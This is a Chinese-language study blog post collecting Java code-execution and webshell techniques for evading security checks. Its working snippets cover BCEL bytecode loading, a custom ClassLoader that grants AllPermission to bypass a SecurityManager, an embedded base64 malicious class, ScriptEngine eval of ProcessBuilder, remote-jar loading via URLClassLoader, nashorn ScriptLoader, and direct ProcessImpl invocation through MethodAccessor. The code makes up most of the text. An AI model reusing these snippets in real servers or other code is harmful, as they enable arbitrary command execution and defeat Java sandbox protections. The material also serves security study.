学习自三梦师傅的https://xz.aliyun.com/t/7798,原谅我都2022年了才学习这篇文章呜呜。
学习动态加载字节码的时候了解到了BCEL字节码。这部分建议读一下:
从JDK8u251以后BCEL就不能利用了。
JavaClass javaClass = Repository.lookupClass("Evil");
String code = Utility.encode(javaClass.getBytes(),true);
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
构造中还利用到了SM绕过的姿势:
ClassLoader MyClassLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAHgcAHAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAUABAAHAA0ACgAQAAgAEQAJABUACwANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
Class clazz = Class.forName("Evil",true,MyClassLoader);
clazz.newInstance();
直接loadClass("Evil").newInstance()
也行。
就是ScriptEngine.eval
rce了,之前JNDI注入的时候见过一次。
public static void shell1(){
try {
new ScriptEngineManager().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()");
} catch (ScriptException e) {
e.printStackTrace();
}
}
public static void shell2(){
try {
new ScriptEngineManager().getEngineByName("nashort").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()");
} catch (ScriptException e) {
e.printStackTrace();
}
}
不知道是不是还有别的Engine
能用,应该还有的。
try {
new URLClassLoader(new URL[]{new URL("http://127.0.0.1/Evil.jar")}).loadClass("Evil").newInstance();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
加载远程jar包,必须出网。
这个马和前面的自定义类加载器没什么大区别,但是是使用了
jdk.nashorn.internal.runtime.ScriptLoader
,这种情况只是想展示不一样的姿势重点的是想说一下有这样的一个类加载器。
我简化成只有加载那部分的了:
Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
Constructor constructor = c.getDeclaredConstructor(ClassLoader.class,Context.class);
constructor.setAccessible(true);
Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
m.setAccessible(true);
Object o = constructor.newInstance("".getClass().getClassLoader(),new Context(new Options(""), null, null));
Class clazz = (Class) m.invoke(o,"Evil",Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAHgcAHAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAUABAAHAA0ACgAQAAgAEQAJABUACwANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg=="),new CodeSource(null, (Certificate[]) null));
clazz.newInstance();
exec那条调用链上的东西,不重复写了。
同上,不重复写了
用于绕过Method.invoke
:
package com.summer.shell;
import sun.reflect.MethodAccessor;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.security.AccessController;
import java.util.Map;
public class MethodAccessorInvoke {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessImpl");
Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
startMethod.setAccessible(true);
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(startMethod);
Process process = (Process) methodAccessor.invoke(null, new Object[]{new String[]{"whoami"},null, null, null, false});
InputStream in = process.getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try(ByteArrayOutputStream out = new ByteArrayOutputStream()){
while ((readSize = in.read(bcache))!=-1){
out.write(bcache,0,readSize);
}
System.out.println(out.toString());
}
}
}
写jar文件到临时目录持久化,然后利用SPI机制加载本地的jar包。
这种利用方式在SnakeYmal的ScriptEngineFactory
链的不出网利用中提到过。